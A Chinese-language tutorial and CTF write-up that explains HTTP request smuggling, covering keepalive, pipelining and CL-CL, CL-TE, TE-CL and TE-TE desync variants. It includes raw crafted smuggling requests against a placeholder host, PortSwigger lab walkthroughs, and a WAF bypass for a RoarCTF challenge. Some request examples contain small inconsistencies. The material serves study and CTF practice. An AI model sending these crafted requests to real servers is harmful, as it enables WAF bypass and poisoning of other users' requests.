简介
初识HTTP请求走私是在 [RoarCTF 2019]Easy Calc 这道题中遇到,此题两种绕过waf的方法,其中一个就是请求走私。
那什么是HTTP请求走私?
HTTP请求走私产生原理

HTTP /1.1开始,我们有两种传数据的方法,一般来说都是
那什么是keepalive
首先,我们知道,访问一个网页往往有很多的请求,包括图片、js等等,那如果每次的请求都开启一个TCP的连接,会有很大的浪费,这个时候,http的keepalive出现了,他允许一个TCP中存在多个HTTP请求,当我请求1发送完毕时,TCP不会关闭,此时它会等待下一个请求,这个方法也叫TCP的复用(重载)。
它的机制是:请求1->响应1->请求2->响应2…
我们可以发现,如果多个请求发送时需要等上一个响应结束才能开始自己的请求,这个时候出现了pipeline
pipeline
它可以:
请求1->请求2->响应1->响应2
提高了数据传输的效率
ngnix服务器中会有个buffer(缓冲区),它将所有请求放入其中,然后以队列的形式进行解析响应,请求1的数据读完后进行响应,然后继续读下一个请求。虽然现在请求中很少见到这种请求方式,但是服务器是默认解析的,如果代理服务器和源服务器之间对HTTP解析规则不一样,不遵守RFC7230中的规定,请求走私也就从这里开始。
解析规则:
- Content-Length:post这个length就有多长,如果是这种解析,那么他读到那个长度就停了,师傅们抓包应该是见过了,当然不包括请求头和数据体间隔的那一行,我们也可以把bp的自动更新CL的关了(选项卡里面的repeat)方便后续操作
Transfer-Encoding:
-
0\r\n \r\n \r\n是换行的意思,windows的换行是\r\n,unix的是\n,mac的是\r
间距有些大,第一次写,师傅们见谅。当服务器如果是采用Transfer_Encoding:Trunk,那么读到这里就会停了,我们发包可以直接0回车,回车,十六进制查看时有0a就行
从利用方式中进一步理解
首先,一定要保证第一个请求中是包含第二个请求的
分五种类型:
- CL不为0的情况
这里用GET请求举例(并不是说只有接收POST的才行,只要能接收请求携带的请求体就ok)。前端代理服务器允许GET请求携带请求体;后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。
构造请求示例:
GET / HTTP/1.1\r\n Host: test.com\r\n Content-Length: 47\r\n GET / secret HTTP/1.1\r\n Host: test.com\r\n \r\n
代理服务器认为它是一个请求,然后请求体就是下面那些东西。但是到了源服务器,变为了两个请求
请求1
GET / HTTP/1.1\r\n Host: test.com\r\n
请求2
GET / secret HTTP/1.1\r\n Host: test.com\r\n \r\n
第一次发包是把所有的东西发过去了,响应的是请求1,当我们再次去发包的时候,缓冲区的请求2被响应出来。后面就不构造请求了,有点麻烦。
- CL-CL型
POST / HTTP/1.1\r\n Host: test.com\r\n Content-Length: 7\r\n Content-Length: 6\r\n asdf\r\n a
第一个服务器解析第一个CL,请求为
POST / HTTP/1.1\r\n Host: test.com\r\n Content-Length: 7\r\n asdf\r\n a
于是传递到第二个服务器,服务器解析第二个CL,这个时候,缓冲区的请求变为
请求一:
GET / HTTP/1.1\r\n Host: test.com\r\n Content-Length: 7\r\n asdf\r\n
请求二:
a
当用户在此发起请求时,例如POST
aPOST / HTTP/1.1\r\n Host: test.com\r\n
这个时候就完成了一种投毒。
存在一个疑问:为什么除了自己、其他用户去访问它,也会出现403报错?
答:因为我们知道,我们访问源服务器其实中间过了个代理服务器,所有用户的请求都是先到代理服务器,代理服务器来转发,所以代理服务器和源服务器之间是一条TCP,而不是一个用户对应一条TCP,所以这种方法就可以影响服务器的正常运行
- CL-TE
前端服务器接受CL的解析,而后端遵守了RFC7230中的规定,如果有TE和CL那么要用TE覆盖,并且停止转发到下游,立刻停止连接,这个时候已经来不及了,没啥下游了。所以后端就是读TE
在POST的数据包里构造恶意的请求
POST / HTTP/1.1\r\n Host: test.com\r\n Connection: keep-alive\r\n Content-Length: 6\r\n Transfer-Encoding: chunked\r\n 0\r\n \r\n a
代理服务器的解析视角,如上
源服务器的解析
请求1
POST / HTTP/1.1\r\n Host: test.com\r\n Connection: keep-alive\r\n Transfer-Encoding: chunked\r\n 0\r\n \r\n
请求2
a //a在缓冲区里面等待下一个请求
- TE-CL
前端解析TE,后端又解析CL
POST / HTTP/1.1\r\n Host: test.com\r\n Connection: keep-alive\r\n Transfer-Encoding: chunked\r\n Content-Length: 4\r\n abcde 0\r\n \r\n
源服务器视角
请求1
POST / HTTP/1.1\r\n Host: test.com\r\n Connection: keep-alive\r\n Content-Length: 4\r\n abcd
请求2
e
- TE-TE
这里前后端都会处理TE(符合了RFC7230的做法但是没有终止),所以要混淆服务器,让其中一个无法用TE去解析。这个时候又变成了TE-Cl或者CL-TE类型的了
有小伙伴会问:md,不是读到0\r\n \r\n 就结束了嘛,为啥会出现两个TE(第一次写文章,写了差不多两个多小时了,要接近结尾的硝基苯开始放飞自我了)只要让服务器只能解析一个就好了,另外一个不能解析的就随便写
Transfer-encoding: 123123123\r\n
POST / HTTP/1.1\r\n Host: test.com\r\n Content-length: 4\r\n Transfer-Encoding: chunked\r\n Transfer-Encoding: 123132123\r\n 5c\r\n aPOST / HTTP/1.1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 15\r\n x=1\r\n 0\r\n \r\n
前端解析TE,接受的请求
POST / HTTP/1.1\r\n Host: test.com\r\n Content-length: 4\r\n Transfer-Encoding: chunked\r\n Transfer-Encoding: 123132123\r\n 5c\r\n aPOST / HTTP/1.1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 16\r\n x=1\r\n 0\r\n \r\nn
后端的视角
请求1
POST / HTTP/1.\r\n Host: test.com\r\n Content-length: 4\r\n Transfer-Encoding: 123132123\r\n 5c\r\n
请求2
aPOST / HTTP/1.1\r\n Content-Type: application/x-www-form-urlencoded\r\n Content-Length: 16\r\n x=1\r\n 0\r\n \r\n
那请求2由于没有apost这个方法,就会返回403.
再通过题目来体会最后一波
CL-TE
https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
两个TE被拒绝

现在改成
Content-Length: 6 Transfer-Encoding:chunked 0 A

第一个请求过去返回正常,但是A相当于存在在了缓冲区里,再次访问时
再访问正常,因为缓冲区里面已经干净了。
那么我们构造两个请求达成一些目的呢?
第一次回显肯定是正常的,因为传的参数啥都没干,第二次请求,就把数据包里面的请求带出来了,也不会有什么变化,第三次,留的a和请求粘在一起,报错。我们第二次那个请求不就可以放一些含有payload的请求了吗?因为代理服务器那关我们已经过去了,下面就是干
下一题
te-cl
我们这里构造的走私是去访问rookie,已知rookie不存在


第一次正常回显,再次访问时,缓冲区还有POST这个请求,就先执行了这个去rookie的请求

再次访问

我怀疑是因为读到了
0\r\n
\r\n
后,0留在了里面,所以当我们访问的时候POST就接到了这里
如果改成get

返回400

最后发现两个请求必须要一致,不然就会像这样。如果有师傅知道原因,还望指点。
再点个题
那道easy calc的题
直接说原因了,因为waf接受POST又接收GET,所以可以携带请求体,但是又有两个CL,根据规定,回显了个400,无法正常解析,但是还是把数据包发了过去,源服务器它接收get的num,所以上面是?num=phpinfo();

最后,教大家怎么数CL
把请求体放到word里面,左下角
点三个字那里
字符数(计空格)
OK了
如果有不对的地方,还望师傅们斧正
本文章参考:
https://datatracker.ietf.org/doc/rfc7230/?include_text=1